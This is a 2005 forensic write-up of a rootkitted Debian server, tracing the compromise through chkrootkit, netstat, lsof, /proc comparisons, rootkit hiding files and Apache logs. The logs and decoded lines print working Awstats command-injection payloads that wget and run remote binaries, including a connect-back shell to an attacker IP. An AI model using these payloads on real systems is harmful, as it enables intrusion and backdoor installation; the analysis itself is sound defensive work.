Awstats Vulerability Leads To Linux Rootkit


Back Home

Last Updated: Saturday March 12, 2005

Michael Ligh (michael.ligh@mnin.org)

Thanks to SANS for linking here from their Diary on March 14, 2005

View Matt's SoTM 29 Paper on honeynet.org


Alright so after the last rootkit, another one might seem a little boring. There are differences, however, including the exploited operating system: Debian Linux on a 2.4.x kernel. There are even some coincidences of the non-technical nature such as following the information path to a paper written by my boss 2 years ago.

Please take a break and either verify or implement your egress filtering. On this occassion and another (on my own machine), egress filtering was either the reason why an attack failed or the reason it succeeded. In fact, as a defense against these two attacks, I would have chosen it over inbound filtering.

The owner's diagnosis was rootkit, judging by an open 400-something port and some hidden processes (later determined to be chkrootkit output). The server's public internet connection was plucked, which left it accessible only by routing through a trusted device in the middle (ssh proxy more-or-less).

The first thing that caught my attention was chkrootkit in a user's home directory. Chrootkit is used to detect common patterns that rook kits can leave in memory (hard disk or ram). In hindsight, executing it was probably not a smart first move (maybe 10th or 11th, but not first), however it worked in our favor this time. (Alternately, click here for the advanced output.)

# ./chkrootkit > chkrootkit.output

ROOTDIR is `/'
Checking `ls'... INFECTED
Checking `netstat'... INFECTED
Checking `ps'... INFECTED
Checking `top'... INFECTED
Checking `aliens'...
/dev/ttyop /dev/ttyoa
Checking `bindshell'... INFECTED (PORTS:  465)
Checking `lkm'... You have    10 process hidden for ps command
chkproc: Warning: Possible LKM Trojan installed

The instant gratification is bliss - 10 hidden processes, 4 trojanized system utilities. along with two suspicious items in /dev, and a listening socket on TCP 465. Though netstat is supposedly one of the trojanized utilities, it does show a listener on 465. However, to my dismay, the trojanized copy of netstat didn't have a -p flag built in. So not only could we not get a legitimate process list from netstat, we couldn't even get an illegitimate one. Here's the best we can do, with lsof to cross-reference:

# netstat -an | less

Active Internet connections (including servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State     
tcp        0      0 10.0.0.2:22             10.0.0.1:33048          ESTABLISHED
tcp        0      0 10.0.0.2:22             10.0.0.1:33110          ESTABLISHED
tcp        0      0 0.0.0.0:25              0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:5432            0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:53            0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:21              0.0.0.0:*               LISTEN     
tcp        0      0 10.0.0.2:53             0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:465             0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:143             0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:110             0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:3306            0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:995             0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:8001            0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:993             0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:8000            0.0.0.0:*               LISTEN     
udp        0      0 0.0.0.0:8000            0.0.0.0:*                           
udp        0      0 127.0.0.1:53            0.0.0.0:*                           
udp        0      0 0.0.0.0:53              0.0.0.0:*                           
udp        0      0 10.0.0.2:53             0.0.0.0:*                           
udp        0      0 127.0.0.1:32768         127.0.0.1:32768         ESTABLISHED

# lsof -i > lsof_i.output

COMMAND     PID     USER   FD   TYPE DEVICE SIZE NODE NAME
named       337     root    4u  IPv4    589       UDP *:domain
named       337     root   20u  IPv4    585       UDP localhost:domain
named       337     root   21u  IPv4    586       TCP localhost:domain (LISTEN)
named       337     root   24u  IPv4  14213       UDP 10.0.0.2:domain
named       337     root   25u  IPv4  14214       TCP 10.0.0.2:domain (LISTEN)
icecast     346  icecast    0u  IPv4    737       TCP *:8000 (LISTEN)
icecast     346  icecast    1u  IPv4    738       TCP *:8001 (LISTEN)
icecast     346  icecast   10u  IPv4    746       UDP *:8000
icecast     348  icecast    0u  IPv4    737       TCP *:8000 (LISTEN)
icecast     348  icecast    1u  IPv4    738       TCP *:8001 (LISTEN)
icecast     348  icecast   10u  IPv4    746       UDP *:8000
icecast     349  icecast    0u  IPv4    737       TCP *:8000 (LISTEN)
icecast     349  icecast    1u  IPv4    738       TCP *:8001 (LISTEN)
icecast     349  icecast   10u  IPv4    746       UDP *:8000
icecast     350  icecast    0u  IPv4    737       TCP *:8000 (LISTEN)
icecast     350  icecast    1u  IPv4    738       TCP *:8001 (LISTEN)
icecast     350  icecast   10u  IPv4    746       UDP *:8000
icecast     351  icecast    0u  IPv4    737       TCP *:8000 (LISTEN)
icecast     351  icecast    1u  IPv4    738       TCP *:8001 (LISTEN)
icecast     351  icecast   10u  IPv4    746       UDP *:8000
mysqld      400    mysql    3u  IPv4    947       TCP *:mysql (LISTEN)
mysqld      408    mysql    3u  IPv4    947       TCP *:mysql (LISTEN)
mysqld      409    mysql    3u  IPv4    947       TCP *:mysql (LISTEN)
mysqld      410    mysql    3u  IPv4    947       TCP *:mysql (LISTEN)
postmaste   479 postgres    3u  IPv4   1218       TCP *:postgresql (LISTEN)
postmaste   479 postgres    5u  IPv4   1223       UDP localhost:32768->localhost:32768
postmaste   484 postgres    5u  IPv4   1223       UDP localhost:32768->localhost:32768
stunnel     505     root    6u  IPv4   1328       TCP *:imaps (LISTEN)
stunnel     508     root    6u  IPv4   1339       TCP *:pop3s (LISTEN)
stunnel     511     root    6u  IPv4   1342       TCP *:ssmtp (LISTEN)
couriertc   528     root    5u  IPv4   1368       TCP *:imap2 (LISTEN)
proftpd     539   nobody    0u  IPv4   1397       TCP *:ftp (LISTEN)
apache      550     root   22u  IPv4   1467       TCP *:www (LISTEN)
tcpserver   578   qmaild    3u  IPv4   1515       TCP *:smtp (LISTEN)
tcpserver   584     root    3u  IPv4   1512       TCP *:pop3 (LISTEN)
apache      588 www-data   22u  IPv4   1467       TCP *:www (LISTEN)
apache      589 www-data   22u  IPv4   1467       TCP *:www (LISTEN)
apache      590 www-data   22u  IPv4   1467       TCP *:www (LISTEN)
apache      591 www-data   22u  IPv4   1467       TCP *:www (LISTEN)
apache      592 www-data   22u  IPv4   1467       TCP *:www (LISTEN)
stunnel     645     root    6u  IPv4   1342       TCP *:ssmtp (LISTEN)
apache     2672 www-data   22u  IPv4   1467       TCP *:www (LISTEN)
sshd      11718     root    3u  IPv4  40664       TCP *:ssh (LISTEN)
sshd      15381     root    4u  IPv4 280383       TCP 10.0.0.2:ssh->10.0.0.1:33048 (ESTABLISHED)
sshd      15387     root    4u  IPv4 280383       TCP 10.0.0.2:ssh->10.0.0.1:33048 (ESTABLISHED)
sshd      15392  michali    4u  IPv4 280383       TCP 10.0.0.2:ssh->10.0.0.1:33048 (ESTABLISHED)

Alternately, the full lsof output can be viewed here.

For the most part, these two agree, but the number of open well-known server ports exceeds what I would have expected. stunnel and tcpserver aren't suspicious per se, but in this situation, they threw up a flag; the server seems to be running pretty much all of the services ever known to be involved in an exploit (maybe not "ever known", but close). We've got support for FTP, SSH, HTTP Proxy, DNS, SMTP, IMAP, IMAPS, POP3, POP3S, SSMTP, Postgresql and MySQL. Note this does not indicate that there is an actual secure IMAP server running, just that _a_ process is listening on the port normally associated with secure IMAP.

Two schools of thought clash here with port numbers. Backdoors can listen on high ports (such as 31337 and 12345) to stay hidden from non-aggressive port scans and avoid bind collisions with already listening processes; or if root acess hasn't already been established. In this case we see the trojanized process bind to well-known server ports all below 1024, which gives the attacker a better chance to connect back into the compromised system through any firewalls (110 for POP3 is more likely to be open incoming than 12345).

For those of us accustomed to NMAP output, here it is:

# nmap -T insane -O -P0 -p 1-65535 localhost

Starting nmap 3.75 ( http://www.insecure.org/nmap/ ) at 2005-03-12 15:44 EST
Interesting ports on localhost (127.0.0.1):
(The 65521 ports scanned but not shown below are in state: closed)
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
25/tcp   open  smtp
53/tcp   open  domain
80/tcp   open  http
110/tcp  open  pop3
143/tcp  open  imap
465/tcp  open  smtps
993/tcp  open  imaps
995/tcp  open  pop3s
3306/tcp open  mysql
5432/tcp open  postgres
8000/tcp open  http-alt
8001/tcp open  unknown
Device type: general purpose
Running: Linux 2.4.X|2.5.X
OS details: Linux 2.4.0 - 2.5.20
Uptime 0.937 days (since Fri Mar 11 17:14:54 2005)

Nmap run completed -- 1 IP address (1 host up) scanned in 26.428 seconds

The next step was to figure out which processes were "hiding" and which of the identified services are trojanized. The ls and ps binaries are suspected of being non-trusted, though we are not sure the degree of infection (a trojanized ls could format the drive or just hide a few named processes from the output). The safe thing to do would be mount the filesystem RO and examine with known good tools, but it wasn't an option in this case. The machine is in Virginia. With two commands we got a list of processes identified in /proc and by ps; the comparison should show some discrepancies.

# ls -d /proc/[1-9]* | sed 's/\/proc\///g' > process_proc_list.output
# ps aux | awk '{print $2}' > process_ls_list.output

A quick perl script found the intersection of the PIDs from the previous two commands. Here is the script and then the output:

#!/usr/bin/perl

open(A,"process_proc_list.outputt") or die "no proc: $!";
open(B,"process_ps_list.output") or die "no ps: $!";

while() { $proc{$_} = 1; }
while() { $ps{$_} = 1; }

foreach $pid (keys %proc) {
        next if (exists($ps{$pid}));
        push @onlyproc, $pid;
}

foreach $pid (keys %ps) {
        next if (exists($proc{$pid}));
        push @onlyps, $pid;
}

close(A); close(Z);

print "\n\n** Only Proc **\n\n";
foreach (@onlyproc) { print "$_"; }
print "\n\n** Only Ps **\n\n";
foreach (@onlyps) { print "$_"; }

# perl intersection.pl > intersection.output

** Only Proc **

4
15387
4450
568
15392
15381
4449
4451
562
11718


** Only Ps **

4481
4482
4480

This shows 10 potential PIDs of processes that are being filtering by ps. Here is the /proc directory listing for those PIDs:

# for i in 4 15387 4450 658 15392 15381 4449 562 11718; do echo "** PID $i **"; ls -al /proc/$i/; echo; done > lsproc.output

** PID 4 **
total 0
dr-xr-xr-x   3 root     root            0 Mar 12 19:43 .
dr-xr-xr-x 100 root     root            0 Mar 11 12:14 ..
-r--r--r--   1 root     root            0 Mar 12 19:43 cmdline
lrwxrwxrwx   1 root     root            0 Mar 12 19:43 cwd -> /
-r--------   1 root     root            0 Mar 12 19:43 environ
lrwxrwxrwx   1 root     root            0 Mar 12 19:43 exe
dr-x------   2 root     root            0 Mar 12 19:43 fd
-r--r--r--   1 root     root            0 Mar 12 19:43 maps
-rw-------   1 root     root            0 Mar 12 19:43 mem
-r--r--r--   1 root     root            0 Mar 12 19:43 mounts
lrwxrwxrwx   1 root     root            0 Mar 12 19:43 root -> /
-r--r--r--   1 root     root            0 Mar 12 19:43 stat
-r--r--r--   1 root     root            0 Mar 12 19:43 statm
-r--r--r--   1 root     root            0 Mar 12 19:43 status

** PID 15387 **
total 0
dr-xr-xr-x   3 root     root            0 Mar 12 19:43 .
dr-xr-xr-x 100 root     root            0 Mar 11 12:14 ..
-r--r--r--   1 root     root            0 Mar 12 19:43 cmdline
lrwxrwxrwx   1 root     root            0 Mar 12 19:43 cwd -> /
-r--------   1 root     root            0 Mar 12 19:43 environ
lrwxrwxrwx   1 root     root            0 Mar 12 19:43 exe -> /usr/sbin/sshd
dr-x------   2 root     root            0 Mar 12 19:43 fd
-r--r--r--   1 root     root            0 Mar 12 19:43 maps
-rw-------   1 root     root            0 Mar 12 19:43 mem
-r--r--r--   1 root     root            0 Mar 12 19:43 mounts
lrwxrwxrwx   1 root     root            0 Mar 12 19:43 root -> /
-r--r--r--   1 root     root            0 Mar 12 19:43 stat
-r--r--r--   1 root     root            0 Mar 12 19:43 statm
-r--r--r--   1 root     root            0 Mar 12 19:43 status

** PID 4450 **

** PID 658 **

** PID 15392 **
total 0
dr-xr-xr-x   3 michali  users           0 Mar 12 19:43 .
dr-xr-xr-x 100 root     root            0 Mar 11 12:14 ..
-r--r--r--   1 root     root            0 Mar 12 19:43 cmdline
lrwxrwxrwx   1 root     root            0 Mar 12 19:43 cwd -> /
-r--------   1 root     root            0 Mar 12 19:43 environ
lrwxrwxrwx   1 root     root            0 Mar 12 19:43 exe -> /usr/sbin/sshd
dr-x------   2 root     root            0 Mar 12 19:43 fd
-r--r--r--   1 root     root            0 Mar 12 19:43 maps
-rw-------   1 root     root            0 Mar 12 19:43 mem
-r--r--r--   1 root     root            0 Mar 12 19:43 mounts
lrwxrwxrwx   1 root     root            0 Mar 12 19:43 root -> /
-r--r--r--   1 root     root            0 Mar 12 19:43 stat
-r--r--r--   1 root     root            0 Mar 12 19:43 statm
-r--r--r--   1 root     root            0 Mar 12 19:43 status

** PID 15381 **
total 0
dr-xr-xr-x   3 root     root            0 Mar 12 19:43 .
dr-xr-xr-x 100 root     root            0 Mar 11 12:14 ..
-r--r--r--   1 root     root            0 Mar 12 19:43 cmdline
lrwxrwxrwx   1 root     root            0 Mar 12 19:43 cwd -> /
-r--------   1 root     root            0 Mar 12 19:43 environ
lrwxrwxrwx   1 root     root            0 Mar 12 19:43 exe -> /usr/sbin/sshd
dr-x------   2 root     root            0 Mar 12 19:43 fd
-r--r--r--   1 root     root            0 Mar 12 19:43 maps
-rw-------   1 root     root            0 Mar 12 19:43 mem
-r--r--r--   1 root     root            0 Mar 12 19:43 mounts
lrwxrwxrwx   1 root     root            0 Mar 12 19:43 root -> /
-r--r--r--   1 root     root            0 Mar 12 19:43 stat
-r--r--r--   1 root     root            0 Mar 12 19:43 statm
-r--r--r--   1 root     root            0 Mar 12 19:43 status

** PID 4449 **

** PID 562 **
total 0
dr-xr-xr-x   3 root     root            0 Mar 12 19:43 .
dr-xr-xr-x 100 root     root            0 Mar 11 12:14 ..
-r--r--r--   1 root     root            0 Mar 12 19:43 cmdline
lrwxrwxrwx   1 root     root            0 Mar 12 19:43 cwd -> /
-r--------   1 root     root            0 Mar 12 19:43 environ
lrwxrwxrwx   1 root     root            0 Mar 12 19:43 exe -> /bin/bash
dr-x------   2 root     root            0 Mar 12 19:43 fd
-r--r--r--   1 root     root            0 Mar 12 19:43 maps
-rw-------   1 root     root            0 Mar 12 19:43 mem
-r--r--r--   1 root     root            0 Mar 12 19:43 mounts
lrwxrwxrwx   1 root     root            0 Mar 12 19:43 root -> /
-r--r--r--   1 root     root            0 Mar 12 19:43 stat
-r--r--r--   1 root     root            0 Mar 12 19:43 statm
-r--r--r--   1 root     root            0 Mar 12 19:43 status

** PID 11718 **
total 0
dr-xr-xr-x   3 root     root            0 Mar 12 19:43 .
dr-xr-xr-x 100 root     root            0 Mar 11 12:14 ..
-r--r--r--   1 root     root            0 Mar 12 19:43 cmdline
lrwxrwxrwx   1 root     root            0 Mar 12 19:43 cwd -> /
-r--------   1 root     root            0 Mar 12 19:43 environ
lrwxrwxrwx   1 root     root            0 Mar 12 19:43 exe -> /usr/sbin/sshd
dr-x------   2 root     root            0 Mar 12 19:43 fd
-r--r--r--   1 root     root            0 Mar 12 19:43 maps
-rw-------   1 root     root            0 Mar 12 19:43 mem
-r--r--r--   1 root     root            0 Mar 12 19:43 mounts
lrwxrwxrwx   1 root     root            0 Mar 12 19:43 root -> /
-r--r--r--   1 root     root            0 Mar 12 19:43 stat
-r--r--r--   1 root     root            0 Mar 12 19:43 statm
-r--r--r--   1 root     root            0 Mar 12 19:43 status

This further strengthens the assumption that our system has been victim to a rootkit. I'll let that solidify while we check out the 4 system utilities that were reported trojanized.

# which ps ls netstat top > which.output

/bin/ps
/bin/ls
/bin/netstat
/usr/bin/top

# md5sum /bin/ls /bin/ps /usr/bin/top /bin/netstat > md5sum.output

9e7165f965254830d0525fda3168fd7d  /bin/ls
a71c756f78583895afe7e03336686f8b  /bin/ps
58a7e5abe4b01923c619aca3431e13a8  /usr/bin/top
c0e8b6ff00433730794eda274c56de3f  /bin/netstat

# stat /bin/ls /bin/ps /usr/bin/top /bin/netstat > stat.output

File: `/bin/ls'
  Size: 36692           Blocks: 72         IO Block: 4096   regular file
Device: 801h/2049d      Inode: 239350      Links: 1
Access: (0755/-rwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2005-02-08 17:09:36.000000000 -0500
Modify: 2003-07-15 03:44:05.000000000 -0400
Change: 2005-02-08 17:10:49.000000000 -0500
  File: `/bin/ps'
  Size: 32756           Blocks: 64         IO Block: 4096   regular file
Device: 801h/2049d      Inode: 239284      Links: 1
Access: (0755/-rwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2005-02-08 17:09:36.000000000 -0500
Modify: 2003-07-15 03:44:05.000000000 -0400
Change: 2005-02-08 17:10:49.000000000 -0500
  File: `/usr/bin/top'
  Size: 48856           Blocks: 96         IO Block: 4096   regular file
Device: 801h/2049d      Inode: 414301      Links: 1
Access: (0755/-rwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2005-02-08 17:09:36.000000000 -0500
Modify: 2003-07-15 03:44:05.000000000 -0400
Change: 2005-02-08 17:10:49.000000000 -0500
  File: `/bin/netstat'
  Size: 30640           Blocks: 64         IO Block: 4096   regular file
Device: 801h/2049d      Inode: 238600      Links: 1
Access: (0755/-rwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2005-02-08 17:09:36.000000000 -0500
Modify: 2003-07-15 03:44:05.000000000 -0400
Change: 2005-02-08 17:10:49.000000000 -0500

The first two commands are mildly informational, but the third just hurts. The C-time of all 4 processes match to the second. At 5:10:49 PM EST on February 8th 2005, all or part of these files were replaced by code supplied by an attacker.

Looking for some quick answers, I googled the MD5 value for netstat (c0e8b6ff00433730794eda274c56de3f) and found it on one of honeyet.org's Scan Of The Month challenges. The clues in this analysis made several things very clear.

First, the devices reported in chkrootkit as "aliens" show up in the strings output of the trojanized files, so they warrent some investigation. Well, they exist:

# ls -al ttyoa ttyop ttyof > ls_tty.output

-rwxr-xr-x   1 sanitized   uucp          114 Jan 23 22:11 ttyoa
-rwxr-xr-x   1 sanitized   uucp           78 Jan 23 22:10 ttyof
-rwxr-xr-x   1 sanitized   uucp           93 Jan 23 22:10 ttyop


No other items in the /dev directory are owned by that user:
# find -type f -user sanitized > find_user_tty.output
./ttyop
./ttyoa
./ttyof

The C-time on these files are identical to ls, ps, top, and netstat:

# stat ttyoa ttyop ttyof > stat_tty.output

File: `ttyoa'
  Size: 114             Blocks: 8          IO Block: 4096   regular file
Device: 801h/2049d      Inode: 47867       Links: 1
Access: (0755/-rwxr-xr-x)  Uid: ( 1001/  sanitized)   Gid: (   10/    uucp)
Access: 2005-02-08 17:09:36.000000000 -0500
Modify: 2005-01-23 22:11:45.000000000 -0500
Change: 2005-02-08 17:10:49.000000000 -0500
  File: `ttyop'
  Size: 93              Blocks: 8          IO Block: 4096   regular file
Device: 801h/2049d      Inode: 47866       Links: 1
Access: (0755/-rwxr-xr-x)  Uid: ( 1001/  sanitized)   Gid: (   10/    uucp)
Access: 2005-02-08 17:09:36.000000000 -0500
Modify: 2005-01-23 22:10:57.000000000 -0500
Change: 2005-02-08 17:10:49.000000000 -0500
  File: `ttyof'
  Size: 78              Blocks: 8          IO Block: 4096   regular file
Device: 801h/2049d      Inode: 47868       Links: 1
Access: (0755/-rwxr-xr-x)  Uid: ( 1001/  sanitized)   Gid: (   10/    uucp)
Access: 2005-02-08 17:09:36.000000000 -0500
Modify: 2005-01-23 22:10:13.000000000 -0500
Change: 2005-02-08 17:10:49.000000000 -0500

The files all contain suspicious looking content. Ttyoa contains netblocks and ports that netstat should not display. Ttyop contains a list of processes for ps to hide. Ttyof contains a list of items that ls should hide. Seek, anyone?

# (echo "** Cat ttyoa **"; cat ttyoa; echo; echo "** Cat ttyop **"; cat ttyop; echo; echo "** Cat ttyof **"; cat ttyof; echo) > cat_tty.output

** Cat ttyoa **
2 213.233
2 217.10
2 193.231
2 80.97
2 83.34
3 6667
4 6667
3 7999
4 7999
3 31337
4 31337
3 512
4 512
3 7971
4 7971
** Cat ttyop **
3 swapd
3 psybnc
3 sl2
3 sl3
3 smbd
3 uptime
3 x2
3 startwu
3 scan
3 r00t
3 ssh
3 .b0t
3 .hpd
** Cat ttyof **
psbnc
smbd
iceconf.h
icekey.h
icepid.h
uptime
startwu
r00t
sshf
real
.b0t
bash

My first idea was to move or edit ttyop and run the trojanized ps again (to see how effective it would be without the "config" file). According to the file permissions (-rwxr-xr-x), root should be able to do either action, however they both failed:

vi: Warning: Changing a readonly file
# mv /dev/ttyoa /dev/ttyoa.old
mv: cannot move `/dev/ttyoa' to `/dev/ttyoa.old': Operation not permitted

The files had enhanced attributes set, including the i (immutable) file, which prevents even root from disturbing them.

# lsattr /dev/ttyoa /dev/ttyof /dev/ttyop > lsattr_tty.output

suS-iadAc-------- /dev/ttyoa
suS-iadAc-------- /dev/ttyof
suS-iadAc-------- /dev/ttyop

We can clear that up pretty easily:

# chattr -suSiadAc /dev/ttyoa /dev/ttyof /dev/ttyop; lsattr /dev/ttyoa /dev/ttyof /dev/ttyop

----------------- /dev/ttyoa
----------------- /dev/ttyof
----------------- /dev/ttyop

We obviously wouldn't want to do this if evidence we gather is going to be legally challenged, but in this case it won't be. I moved /dev/ttyoa to /dev/ttyoa.old, and populated a new /dev/ttyoa with some of the ports that _should_ have been open (21, 22, 25, 53, 80, 8000, 8001, 5243). Now check out the netstat output:

Active Internet connections (including servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State     
tcp        0      0 0.0.0.0:465             0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:143             0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:110             0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:3306            0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:995             0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:993             0.0.0.0:*               LISTEN

Note this isn't proof (or even a hypothesis) that the remaining open ports are trojanized, it's only proves the effect that /dev/ttyoa has on netstat output and shows why you can't trust a rootkit victim. At this time, I had hit the end of the existing analysis and went straight to honeynet.org for more information on Scan Of The Month 29. Much to my surprise, I recognized that one of the top 5 submittions was written by someone with the same name as my boss. One click later that was no longer a question, I had been investigating a variant of the same linux rootkit that my boss researched two years ago as part of a SOTM challenge.

After learning that I ate some chocolate and drank some Gatorade. When I finally started believing it, I got back to work.

The puzzle is nearly complete, but it's missing a critical section - the beginning. We don't know what the initial infection vector was. A weak root password? Vulerable server software? Vulnerable client software? Vulnerable underwear? Just keeping you awake ;-P

For a starting point, I took the C-time date of Febuary 8th and went digging into Apache logs. One of the files covered periods between Febuary 2nd and March 11. I started witht the error_log and quickly came across a section that was pretty ugly:

[Sun Feb  6 08:05:18 2005] [error] [client 217.172.168.109] request failed: erroneous characters after protocol string: GET //usage/ cgi-bin/awstats.pl?configdir=|%20i
d%20| HTTP/1.1
[Sun Feb  6 08:05:18 2005] [error] [client 217.172.168.109] File does not exist: /var/www/sanitized//usage/cgi-bin/awstats.pl
--08:06:37--  http://lightb.home.ro/zbind
           => `zbind'
Resolving lightb.home.ro... 81.196.20.133
Connecting to lightb.home.ro[81.196.20.133]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 18,907 [text/plain]

    0K .......... ........                                   100%   48.62 KB/s

08:06:39 (48.62 KB/s) - `zbind' saved [18907/18907]

sh: /awstats.ns.sanitized.conf: No such file or directory
--08:06:44--  http://lightb.home.ro/zbind
           => `zbind.1'
Resolving lightb.home.ro... 81.196.20.133
Connecting to lightb.home.ro[81.196.20.133]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 18,907 [text/plain]

    0K .......... ........                                   100%   63.70 KB/s

08:06:45 (63.70 KB/s) - `zbind.1' saved [18907/18907]

bind: Address already in use
sh: /awstats.ns.sanitized.conf: No such file or directory
sh: /awstats.ns.fsanitized.conf: No such file or directory
[Sun Feb  6 09:32:50 2005] [error] [client 217.172.168.109] script not found or unable to stat: /var/www/cgi-bin/awstats
[Sun Feb  6 09:32:50 2005] [error] [client 217.172.168.109] file permissions deny server execution: /var/www/cgi-bin/awstats.pl
[Sun Feb  6 09:32:50 2005] [error] [client 217.172.168.109] File does not exist: /var/www/sanitized//cgi/awstats.pl

YES, that is wget output in an Apache error log! In the background noise you can see some bourne shell output and a complaint that a particular TCP or UDP port was already in use. Notice everything is surrounded by Awstats requests. Being a user myself, I paid good attention to the advisories on SANS on January 31 and March 3.

These indicate some recent vulnerabilities in the application, and give sample query strings to exploit those versions. With that, we can look for more specific content in the access log.

65.39.177.214 - - [06/Feb/2005:08:06:39 -0500] "GET /cgi-bin/awstats.pl?configdir=%7c%20cd%20%2fvar%2ftmp%3bwget%20lightb.home.ro%2fzbind%3bchmod%20%2bx%20zbind%3b.%2f
zbind%20%7c%20 HTTP/1.1" 200 396 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts)"

64.62.131.10 - - [09/Feb/2005:13:38:58 -0500] "GET /cgi-bin/awstats.pl?configdir=%20%7c%20cd%20%2fvar%2ftmp%20%3b%20wget%20piticanie.org%2fcback%20%3bchmod%20%2bx%20cb
ack%20%3b%20.%2fcback%2064.62.131.14%20%2081%20%20%7c%20 HTTP/1.1" 403 294 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts)"

65.71.130.226 - - [15/Feb/2005:22:12:23 -0500] "GET /cgi-bin/awstats/awstats.pl?configdir=%20%7c%20cd%20%2fvar%2ftmp%3bwget%20piticanie.org%2fcback%3bchmod%20%2bx%20cb
ack%3b.%2fcback%2065.71.130.226%20%2081%20%20%7c%20 HTTP/1.1" 404 298 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts)"

65.71.130.226 - - [05/Mar/2005:22:55:36 -0500] "GET /awstats/awstats.pl?configdir=|echo;echo+DTORS_START;id;echo+DTORS_STOP;echo|" 404 - "-" "-"
65.71.130.226 - - [05/Mar/2005:22:55:39 -0500] "GET /awstats/awstats.pl?pluginmode=:system(\"echo+DTORS_START;id;echo+DTORS_STOP\");" 404 - "-" "-"
65.71.130.226 - - [05/Mar/2005:22:55:49 -0500] "GET /awstats/awstats.pl?configdir=|echo;echo+DTORS_START;id;echo+DTORS_STOP;echo|" 404 - "-" "-"
65.71.130.226 - - [05/Mar/2005:22:55:57 -0500] "GET /cgi-bin/awstats.pl?configdir=|echo;echo+DTORS_START;id;echo+DTORS_STOP;echo|" 403 - "-" "-"
65.71.130.226 - - [05/Mar/2005:22:56:00 -0500] "GET /cgi-bin/awstats.pl?pluginmode=:system(\"echo+DTORS_START;id;echo+DTORS_STOP\");" 403 - "-" "-"

Through the unicode, we can interpret the commands that were run:

GET /cgi-bin/awstats.pl?configdir=| cd /var/tmp;wget lightb.home.ro/zbind;chmod +x zbind;./zbind |
GET /cgi-bin/awstats.pl?configdir= | cd /var/tmp;wget piticanie.org/cback;chmod +x cback;./cback 64.62.131.14 81 |

The basic idea is to call "awstats.pl?confidir=|[code]" on a vulerable server. From this one log file, we see attempts, several days apart, to exploit the same weekness in different ways. For example, the first incident on Febuary 6 used wget to fetch a remote binary and then execute it. It obviously worked because we saw the wget output in error_log. The second attempt grabbed a binary from elsewhere and passed it an IP and port number to connect back.Take another break and check your egress filtering, I'm not kidding...

# host lightb.home.ro
lightb.home.ro has address 81.196.20.133

# host piticanie.org
piticanie.org has address 66.98.168.75

# wget lightb.home.ro/zbind
--18:35:57--  http://lightb.home.ro/zbind
           => `zbind'
Resolving lightb.home.ro... 81.196.20.133
Connecting to lightb.home.ro[81.196.20.133]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 18,907 [text/plain]

100%[=======================================================================>] 18,907        --.--K/s             

18:35:57 (1.55 MB/s) - `zbind' saved [18907/18907]

# wget piticanie.org/cback
--18:36:20--  http://piticanie.org/cback
           => `cback'
Resolving piticanie.org... 66.98.168.75
Connecting to piticanie.org[66.98.168.75]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 430,072 [text/plain]

100%[=======================================================================>] 430,072        1.17M/s             

18:36:20 (1.17 MB/s) - `cback' saved [430072/430072]

# file zbind cback
zbind: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.0.0, dynamically linked (uses shared libs), not stripped
cback: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, statically linked, stripped

# md5sum zbind cback
7e651f1334dbea3f7aba87f7bc03a8b8  zbind
0f3e85d38b1bb6f66fc9075f48c9b7ca  cback

The server was successfully attacked, possibly several times, over a period of several weeks. The vulerable software was Awstats. Four basic system utilities were trojanized to hide data from administrators, remote access shells were listening on all interfaces and hiding from process listings. There were some immutable files, some deleted files, a quartet of matching C-times, trio of "alien" devices, pair of awesome logfiles, and proof that the world really is a small place.

There was a "/usr/sbin/smbd -D" with an MD5 of 321efe7ac31bb0bd294f982e3819db36, similar to the SOTM 29 analysis. There were logfiles from the psyBNC IRC client being installed and interacting with the attackers and other rooted systems (like in the SOTM 29 analysis). Click here to see the contents. The IRC process was listening on 6668 and established the most connections with 81.181.0.45, owned by an ISP in Romania (like in the SOTM 29 analysis). The only major difference was the initial exploit of Awstats to get things rolling.

For the other excellent papers on this rootkit, go here:

http://honeynet.org/scans/scan29/